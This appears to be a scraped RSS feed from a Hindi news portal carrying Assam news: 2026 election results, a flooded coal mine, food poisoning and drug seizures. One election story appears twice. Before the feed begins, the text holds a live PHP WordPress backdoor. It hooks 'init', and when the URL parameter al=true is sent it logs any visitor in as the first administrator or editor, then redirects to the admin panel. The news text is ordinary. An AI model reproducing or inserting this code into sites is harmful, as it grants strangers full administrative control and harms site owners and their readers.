// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Assam – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Tue, 05 May 2026 09:20:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 असम में वंशवाद को झटका: तीन पूर्व CM के बेटों की करारी हार, कांग्रेस पर बड़ा सवाल https://pratyushaashakinayikiran.com/?p=217150 Tue, 05 May 2026 09:20:00 +0000 https://pratyushaashakinayikiran.com/?p=217150 असम

असम में बीजेपी ने जीत की हैट्रिक लगाई है। बीजेपी नेतृत्व वाली एनडीए ने 102 सीटों पर जीत हासिल की। जबकि कांग्रेस सिर्फ 19 सीट पर सिमट गई है। असम में ऐसा देश में पहली बार हुआ कि भाजपा सरकार का कोई भी मंत्री चुनाव नहीं हारा। असम में लगातार तीसरी बार सत्ता से महरूम रहने वाली कांग्रेस को बड़ा झटका लगा है। असम के तीन पूर्व सीएम के बोटों को भी करारी हार का सामना करना पड़ा। इनमें से एक तो वर्तमान में कांग्रेस के प्रदेश अध्यक्ष और सांसद भी हैं। असम के तीन पूर्व मुख्यमंत्रियों के बेटों की हार के साथ ही कांग्रेस ने नया रिकॉर्ड भी बना डाला है।

असम के पूर्व मुख्यमंत्री तरुण गोगोई लंबे समय तक मुख्यमंत्री रहे। उन्होंने 15 साल तक कांग्रेस की सरकार चलाई। पूर्व सीएम तरुण गोगोई के बेटे गौरव गोगोई को असम चुनाव में हार का सामना करना पड़ा। गौरव असम कांग्रेस के प्रदेश अध्यक्ष हैं और जोरहाट से तीन बार के सांसद हैं। असम विधानसभा चुनाव में गौरव गोगोई जोरहाट सीट से लड़े। हालांकि उन्हें बीजेपी के हाथों करारी शिकस्त का सामना करना पड़ा। भाजपा कैंडिडेट हितेंद्र नाथ गोस्वामी ने गौरव गोगोई को 23,182 वोटों से मात दी।

वहीं पूर्व सीएम हितेश्वर सैकिया दो बार असम के मुख्यमंत्री रह चुके हैं। हितेश्वर सैकिया के बेटे देबब्रत सैकिया को भी असम विधानसभा चुनाव में हार का सामना करना पड़ा है। अपने पिता के परंपरागत सीट नजीरा विधानसभा सीट से खड़े देबब्रत सैकिया को बीजेपी प्रत्याशी मयूर बोरगोहाईं ने 46,000 से ज्यादा वोटों से करारी शिकस्त दी। देबब्रत खुद 2011 से लगातार इसी सीट से जीतते आ रहे थे। 2016 से विधानसभा में विपक्ष के नेता भी रह चुके हैं।

असम के कार्यवाहक मुख्यमंत्री रह चुके दिवंगत भूमिधर बर्मन के बेटे दिगंता बर्मन (Diganta Barman) को भी असम चुनाव में हार का मुंह देखना पड़ा है। हितेश्वर सैकिया पद पर रहते हुए गुजर गए थे। तब भूमिधर बर्मन ने थोड़े समय के लिए मुख्यमंत्री का काम संभाला था। दिगंता बारखेत्री सीट से लड़े लेकिन BJP के नारायण डेका से 84,000 से ज्यादा वोटों से करारी शिकस्त देकर कांग्रेस के गहरी चोट दी।

CM हिमंता बिस्वा सरमा बोले- जनता ने वंशवादी राजनीति को नकारा
असम के मुख्यमंत्री हिमंता बिस्वा सरमा ने इन तीनों की हार पर कहा कि किसी की हार में खुश होना ठीक नहीं, खासकर जब वो हितेश्वर सैकिया के बेटे हों। उन्होंने साफ कहा कि जनता ने ‘खानदानी राजनीति’ यानी सिर्फ बाप-दादा के नाम पर चुनाव लड़ने की सोच को नकार दिया है। उन्होंने कहा कि इन लोगों ने तीन-चार बार चुनाव जीते, उनके पास अपनी अलग पहचान बनाने का पूरा मौका था, लेकिन वो ऐसा नहीं कर पाए। यहां एक दिलचस्प बात यह है कि हिमंत सरमा खुद लगभग 20 साल तक कांग्रेस में रहे और उन्हें पार्टी में लाने वाले हितेश्वर सैकिया ही थे. 2014 में वो BJP में आ गए।

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असम में वंशवाद को झटका: तीन पूर्व CM के बेटों की करारी हार, कांग्रेस पर बड़ा सवाल https://pratyushaashakinayikiran.com/?p=217152 Tue, 05 May 2026 09:20:00 +0000 https://pratyushaashakinayikiran.com/?p=217152 असम

असम में बीजेपी ने जीत की हैट्रिक लगाई है। बीजेपी नेतृत्व वाली एनडीए ने 102 सीटों पर जीत हासिल की। जबकि कांग्रेस सिर्फ 19 सीट पर सिमट गई है। असम में ऐसा देश में पहली बार हुआ कि भाजपा सरकार का कोई भी मंत्री चुनाव नहीं हारा। असम में लगातार तीसरी बार सत्ता से महरूम रहने वाली कांग्रेस को बड़ा झटका लगा है। असम के तीन पूर्व सीएम के बोटों को भी करारी हार का सामना करना पड़ा। इनमें से एक तो वर्तमान में कांग्रेस के प्रदेश अध्यक्ष और सांसद भी हैं। असम के तीन पूर्व मुख्यमंत्रियों के बेटों की हार के साथ ही कांग्रेस ने नया रिकॉर्ड भी बना डाला है।

असम के पूर्व मुख्यमंत्री तरुण गोगोई लंबे समय तक मुख्यमंत्री रहे। उन्होंने 15 साल तक कांग्रेस की सरकार चलाई। पूर्व सीएम तरुण गोगोई के बेटे गौरव गोगोई को असम चुनाव में हार का सामना करना पड़ा। गौरव असम कांग्रेस के प्रदेश अध्यक्ष हैं और जोरहाट से तीन बार के सांसद हैं। असम विधानसभा चुनाव में गौरव गोगोई जोरहाट सीट से लड़े। हालांकि उन्हें बीजेपी के हाथों करारी शिकस्त का सामना करना पड़ा। भाजपा कैंडिडेट हितेंद्र नाथ गोस्वामी ने गौरव गोगोई को 23,182 वोटों से मात दी।

वहीं पूर्व सीएम हितेश्वर सैकिया दो बार असम के मुख्यमंत्री रह चुके हैं। हितेश्वर सैकिया के बेटे देबब्रत सैकिया को भी असम विधानसभा चुनाव में हार का सामना करना पड़ा है। अपने पिता के परंपरागत सीट नजीरा विधानसभा सीट से खड़े देबब्रत सैकिया को बीजेपी प्रत्याशी मयूर बोरगोहाईं ने 46,000 से ज्यादा वोटों से करारी शिकस्त दी। देबब्रत खुद 2011 से लगातार इसी सीट से जीतते आ रहे थे। 2016 से विधानसभा में विपक्ष के नेता भी रह चुके हैं।

असम के कार्यवाहक मुख्यमंत्री रह चुके दिवंगत भूमिधर बर्मन के बेटे दिगंता बर्मन (Diganta Barman) को भी असम चुनाव में हार का मुंह देखना पड़ा है। हितेश्वर सैकिया पद पर रहते हुए गुजर गए थे। तब भूमिधर बर्मन ने थोड़े समय के लिए मुख्यमंत्री का काम संभाला था। दिगंता बारखेत्री सीट से लड़े लेकिन BJP के नारायण डेका से 84,000 से ज्यादा वोटों से करारी शिकस्त देकर कांग्रेस के गहरी चोट दी।

CM हिमंता बिस्वा सरमा बोले- जनता ने वंशवादी राजनीति को नकारा
असम के मुख्यमंत्री हिमंता बिस्वा सरमा ने इन तीनों की हार पर कहा कि किसी की हार में खुश होना ठीक नहीं, खासकर जब वो हितेश्वर सैकिया के बेटे हों। उन्होंने साफ कहा कि जनता ने ‘खानदानी राजनीति’ यानी सिर्फ बाप-दादा के नाम पर चुनाव लड़ने की सोच को नकार दिया है। उन्होंने कहा कि इन लोगों ने तीन-चार बार चुनाव जीते, उनके पास अपनी अलग पहचान बनाने का पूरा मौका था, लेकिन वो ऐसा नहीं कर पाए। यहां एक दिलचस्प बात यह है कि हिमंत सरमा खुद लगभग 20 साल तक कांग्रेस में रहे और उन्हें पार्टी में लाने वाले हितेश्वर सैकिया ही थे. 2014 में वो BJP में आ गए।

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असम विधानसभा चुनाव: अखिलेश यादव की बड़ी तैयारी, सपा उतार सकती है उम्मीदवार https://pratyushaashakinayikiran.com/?p=203707 Tue, 10 Mar 2026 04:55:00 +0000 https://pratyushaashakinayikiran.com/?p=203707 लखनऊ

लोकसभा चुनाव 2024 में जबरदस्‍त सफलता हासिल करने के बाद समाजवादी पार्टी ने राष्‍ट्रीय पार्टी का दर्जा पाने के लक्ष्‍य पर नजर गड़ा दी है। इस रणनीति के तहत पार्टी पहली बार असम विधानसभा चुनाव में हिस्‍सा लेने की योजना बना रही है। मीडिया रिपोर्ट्स में दावा किया जा रहा है सपा पांच से 10 सीटों पर अपने उम्‍मीदवार उतार सकती है। जल्‍द ही इसका आधिकारिक ऐलान किया जाएगा।

असम में 2026 में विधानसभा चुनाव होने हैं। बताया जा रहा है कि सपा असम के मुस्लिम बहुल इलाकों में अपने प्रत्‍याशी उतारेगी। सपा अध्‍यक्ष अखिलेश यादव भी वहां चुनाव प्रचार करने जा सकते हैं।

महाराष्‍ट्र में दो और गुजरात में 1 सपा विधायक
यूपी के बाहर की बात करें तो सपा के महाराष्‍ट्र में दो विधायक और गुजरात में एक विधायक हैं। यह राष्‍टीय पार्टी के मानक से काफी कम है। दरअसल, राष्‍ट्रीय पार्टी का दर्जा पाने के लिए लोकसभा या विधानसभा चुनावों में न्‍यूनतम चार राज्‍यों में कुल वैध वोटों का कम से कम 6 प्रतिशत होना जरूरी है। साथ ही लोकसभा में कम से कम चार सीटें होना चाहिए या लोकसभा चुनावों में कम से कम तीन अलग राज्‍यों से कुल सीटों का 2 प्रतिशत यानी 11 सीटें जीती हों। देखा जाए तो सपा के पास लोकसभा में इससे कहीं ज्‍यादा सीटें हैं पर वह एक ही राज्‍य उत्‍तर प्रदेश में है। इसलिए वह राष्‍ट्रीय पार्टी के मानकों को पूरा नहीं करती।

यूपी में सपा के 37 सांसद
गौरतलब है कि 2024 में सपा ने लोकसभा चुनावों में ऐतिहासिक प्रदर्शन किया था। सीटों के लिहाज से सपा बीजेपी और कांग्रेस के बाद देश की तीसरी सबसे बड़ी पार्टी है। उसके पास 37 सांसद हैं। सपा ने बीजेपी के गढ़ माने जाने वाली कई सीटों पर अपना परचम लहराया था। इसमें अयोध्‍या उल्‍लेखनीय है।

असम में इसी साल होने हैं विधानसभा चुनाव
राष्‍ट्रीय पार्टी का दर्जा प्राप्‍त करने के लिए समाजवादी पार्टी की नजर असम विधानसभा चुनावों पर है। असम में इसी साल तक चुनाव होने हैं। सपा अपने परंपरागत मुस्लिम वोटों पर नजर गड़ाए हुए हैं। इसी रणनीति के तहत सपा असम के मुस्लिम बहुल इलाकों में ही प्रत्‍याशी खड़ा करने की योजना बनाई है। मीडिया रिपोर्ट्स के मुताबिक, सपा 5 से 10 सीटों पर अपने उम्‍मीदवार खड़े कर सकती है।

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असम की कोयला खदान से एक और मजदूर का शव बरामद, छठे दिन भी जारी है बचाव अभियान https://pratyushaashakinayikiran.com/?p=119971 Sat, 11 Jan 2025 12:45:00 +0000 https://pratyushaashakinayikiran.com/?p=119971 दिशपुर।

असम के दीमा हसाओ जिले में कोयला खदान में फंसे एक और मजदूर का शव शनिवार को बचाव अभियान के दौरान खदान से बरामद किया गया। अब तक दो मजदूरों के शव बरामद हो चुके हैं। पहला शव बुधवार को खदान से निकाला गया था।

जिन मजदूरों के शव बरामद किए गए हैं, वे उन नौ मजदूरों में शामिल थे, जो सोमवार को उमरंगसू में खदान में अचानक पानी भर जाने के चलते फंस गए थे। मुख्यमंत्री ने सोशल मीडिया पर एक पोस्ट साझा कर इसकी जानकारी दी।

अब तक दो मजदूरों के शव हुए बरामद
एक अधिकारी ने बताया कि खदान में फंसे हुए खनिकों की तलाश में बचाव अभियान सुबह फिर से शुरू हुआ। तलाश के छठे दिन एक और मजदूर का शव बरामद किया गया है। मृतक की पहचान दीमा हसाओ को कलामाटी के गांव नंबर एक के निवासी 27 वर्षीय लिजेन मगर के रूप में हुई है। नेपाल के रहने वाले एक मजदूर का शव पहले ही बरामद किया जा चुका है। खदान में अचानक पानी भरने से नौ मजदूर खदान में फंस गए थे। मुख्यमंत्री हिमंत बिस्व सरमा ने सोशल मीडिया मंच एक्स पर साझा एक पोस्ट में लिखा, 'उमरंगसू में बचाव कार्य निरंतर जारी है। दुखद रूप से, आज सुबह एक और शव बरामद किया गया। हम इस कठिन समय में आशा और शक्ति के साथ शोक संतप्त लोगों के प्रति संवेदना व्यक्त करते हैं।' बचाव कार्य में जुटे एक अधिकारी ने बताया कि 340 फीट गहरी खदान से पानी निकालने का काम जारी है और अब इस काम में ओएनजीसी और कोल इंडिया द्वारा लाई गई मशीनों का इस्तेमाल किया जा रहा है। अभी भी सात मजदूर अवैध कोयला खदान में फंसे हुए हैं। हालांकि उनके बचने की उम्मीद बेहद कम है। इस बीच पुलिस ने अवैध खदान में फंसे मजदूरों के सरदार को गिरफ्तार कर लिया है। सरदार हादसे के बाद से फरार था और उसे गिरफ्तार कर लिया गया है।

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असम की कोयला खदान धसने से आठ श्रमिक दबे, सेना और एनडीआरएफ ने निकाला एक शव https://pratyushaashakinayikiran.com/?p=118763 Wed, 08 Jan 2025 12:05:00 +0000 https://pratyushaashakinayikiran.com/?p=118763 दिशपुर/नई दिल्ली।

असम के पास दीमा हसाओ जिले में सोमवार को कोयला खदान में पानी भरने के बाद नौ श्रमिक फंस गए थे। बुधवार सुबह सेना और एनडीआरएफ की टीमों ने बचाव अभियान के दौरान खदान से एक शव बरामद किया। खदान में अभी भी आठ श्रमिक फंसे हुए हैं। इसके बाद सेना, असम राइफल्स, एनडीआरएफ, एसडीआरएफ की टीमों ने बचाव अभियान तेज कर दिया है।

दीमा हसाओ जिले के उमरंगसो के तीन किलो क्षेत्र में कोयला खदान में सोमवार को 300 फीट गहरे खदान में अचानक पानी भर गया था। इस खदान में नौ श्रमिक फंस गए थे। इसके बाद भारतीय सेना और स्थानीय अधिकारियों की संयुक्त टीम ने त्वरित और प्रभावी तरीके से बचाव अभियान की शुरुआत की। मंगलवार शाम को बचाव अभियान को रोक दिया गया था। बुधवार सुबह इसे फिर से शुरू किया गया। इसके बाद बचाव टीमों ने खदान से एक शव बरामद किया।
सीएम हिमंत बिस्व सरमा ने कहा कि 21 पैरा गोताखोरों ने खदान से एक शव बरामद किया है। हमारी संवेदनाएं और प्रार्थनाएं शोकाकुल परिवार के साथ हैं। वहीं एनडीआरएफ के कमांडेंट एन तिवारी ने बताया कि श्रमिकों को निकालने के लिए 24 घंटे काम चल रहा है। जल्द ही हम श्रमिकों तक पहुंच जाएंगे। अभी सेना की टीम यहां काम कर रही है। जल्द ही नौसैनिक भी यहां पहुंच जाएंगे। वहीं खदान में काम करने वाले एक श्रमिक ने बताया कि मेरा भाई खदान में फंसा है। खदान में अचानक लोगों ने चिल्लाना शुरू कर दिया कि पानी भर रहा है। 30-35 लोग बाहर आ गए और 15-16 लोग फंस गए।

एक युवक गिरफ्तार, मुकदमा दर्ज
मामले में असम के सीएम हिमंत बिस्व सरमा ने बताया कि पुलिस ने घटना की जांच के लिए खान एवं खनिज (विकास एवं विनियमन) अधिनियम, 1957 की धारा 21(1) के साथ धारा 3(5)/105 बीएनएस के तहत एफआईआर दर्ज की है। यह एक अवैध खदान लगती है। मामले के संबंध में पुनीश नुनिसा नामक व्यक्ति को गिरफ्तार किया गया है। मैंने माननीय केंद्रीय कोयला मंत्री किशन रेड्डर से भी बात की। उनसे उमरंगसू में बचाव अभियान के लिए सहायता मांगी है। उन्होंने तुरंत कोल इंडिया मुख्यालय को निर्देश जारी किए हैं। इस मिशन में असम सरकार को पूर्ण सहयोग देने के लिए मैं उनका हार्दिक आभार व्यक्त करता हूं।

वाटरिंग पंप मंगाया जा रहा
खदान में भरे पानी को निकालने के लिए डी वाटरिंग पंप मंगाया गया है। सीएम हिमंत बिस्व सरमा ने एक्स पर पोस्ट में लिखा कि बचाव अभियान जोरों पर है। सेना और एनडीआरएफ के गोताखोर खदान में उतर चुके हैं। नौसेना के जवान मौके पर हैं और उनके बाद गोता लगाने की अंतिम तैयारियां कर रहे हैं। इस बीच एसडीआरएफ के डी-वाटरिंग पंप उमरंगशु से घटनास्थल के लिए रवाना हो गए हैं। ओएनजीसी के डी-वाटरिंग पंप को कुंभीग्राम में एमआई-17 हेलीकॉप्टर पर लोड किया गया है।

    21 Para divers have just recovered a lifeless body from the bottom of the well. Our thoughts and prayers are with the grieving family.
    — Himanta Biswa Sarma (@himantabiswa) January 8, 2025

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असम शोक समारोह में स्नैक्स खाने से 200 लोगों की तबीयत बिगड़ी, अस्पताल में किया भर्ती https://pratyushaashakinayikiran.com/?p=87634 Sun, 20 Oct 2024 18:45:00 +0000 https://pratyushaashakinayikiran.com/?p=87634 गुवाहटी.

असम के गोलाघाट जिले में एक शोक समारोह के दौरान स्नैक्स खाने के बाद फूड पॉयजनिंग के कारण लगभग 200 लोग बीमार हो गए। यह घटना शनिवार रात की है। सरूपथार इलाके के उरीआमघाट के पसघोरिया गांव में कई लोग प्रदीप गोगोई की मां के शोक सभा में शामिल होने के लिए एकत्रित हुए। एक अधिकारी ने बताया कि इस दौरान अतिथियों को पारंपरिक जलपान परोसा गया।

अधिकारी ने कहा, जलपान खाने के बाद लोगों ने पेट दर्द, सिर दर्द, उल्टी और दस्त की शिकायत की। 53 लोगों को तुरंत स्वास्थ्य केंद्र में भर्ती कराया गया। उनमें से दो को जोरहाट मेडिकल कॉलेज और अस्पताल ले जाया गया। अधिकारी ने कहा, पीड़ितों की स्थिति फिलहाल ठीक है। इलाज के बाद कई लोगों को अस्पताल से छुट्टी दे दी गई। करीब 150 लोगों, जिनमें मामूली लक्षण दिखे, वे अभी अपने-अपने घरों में हैं। उनके स्वास्थ्य की निगरानी की जा रही है। सरूपथार के भाजपा विधायक बिस्वाजीत फुकन ने अस्पताल का दौरा किया और लोगों की स्वास्थ्य स्थिति के बारे में जानकारी ली। उन्होंने कहा, "जिला प्रशासन ने मुझे सूचित किया कि खाद्य निरीक्षक गांव का दौरा करेंगे और फूड पॉयजनिंग के कारणों की जांच करेंगे।" भाजपा विधायक ने आगे कहा कि गांव के मेडिकल कैंप लगाया गया है और ग्रामीणों का स्वास्थ्य परीक्षण किया जा रहा है। उन्होंने बताया कि समारोह में आए सभी लोगों के घर पर मेडिकल टीम भेजी गई है। टीम स्वास्थ्य स्थितियों पर बारीकी से नजर बनाए हुए है। फिलहाल किसी भी व्यक्ति में कोई गंभीर लक्षण नहीं दिख रहे हैं।

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असम में ड्रग्स के साथ सात गिरफ्तार, बराक घाटी में अभियानों में छापेमारी के दौरान मिली कामयाबी https://pratyushaashakinayikiran.com/?p=37025 Sun, 02 Jun 2024 16:55:00 +0000 https://pratyushaashakinayikiran.com/?p=37025 दिसपुर/करीमगंज.

असम के बराक घाटी में अलग-अलग अभियानों के तहत प्रतिबंधित ड्रग्स के साथ सात लोगों को गिरफ्तार किया गया। मुख्यमंत्री हिमंत बिस्वा सरमा ने इसकी जानकारी दी। यह अभियान शनिवार को चलाया गया था। सोशल मीडिया प्लेटफॉर्म एक्स पर पोस्ट करते हुए हिमंत बिस्वा सरमा ने कहा, यह अभियान पुलिस के मजबूत खुफिया अभियान के तहत चलाया गया। करीमगंज पुलिस ने एक दुकान में छापेमारी की।

वहां से उन्होंने 800 किलो नशीला पदार्थ बरामद किया। इस मामले में एक व्यक्ति पकड़ा गया। एक्स पर पोस्ट करते हुए सीएम सरमा ने कहा, कछार पुलिस ने 1.9 किलो हेरोइन जब्त करने के साथ छह लोगों को पकड़ा है। ये अभियान राज्य में ड्रग्स नेक्सस को कमजोर कर रही है।

प्लेटफॉर्म के चौड़ीकरण का काम पूरा
सेंट्रल रेलवे (सीआर) ने रविवार को बताया कि उन्होंने महाराष्ट्र के ठाणे में प्लेटफॉर्म पांच और छह के चौड़ीकरण का काम पूरा कर लिया है। सीआर ने ठाणे स्टेशन पर बुनियादी ढांचे के उन्नयन कार्य के लिए विशेष ब्लॉक के बारे में विवरण साझा किया। 584 मीटर लंबे प्लेटफॉर्म पांच और छह को दो से तीन मीटर चौड़ा किया गया है। सेंट्रल रेलवे ने ठाणे रेलवे स्टेशन पर 63 घंटे का मेगा ब्लॉक और छत्रपति शिवाजी महराज टर्मिनस पर 36 घंटे का मेगा ब्लॉक शुरू किया गया है।

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